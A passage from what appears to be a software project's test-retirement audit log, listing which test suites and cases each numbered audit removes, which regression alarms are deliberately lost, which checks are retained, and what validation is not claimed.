queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. Broad root-unit discovery loses whole cross-client workspace-sync, terminal-preview, picker-skill-hint and close-routing suites plus reduced worker-stop, remote-owned-record, scanner, mobile-bundle and daemon-health samples. Separate E2E discovery also loses the paired mobile/desktop mirror journey and two unit drivers. Retained callback/table/outer-loop/guard bytes are exact; retained checks do not replace the removed alarms. No app, native device, mixed-version, remote or cross-platform execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous 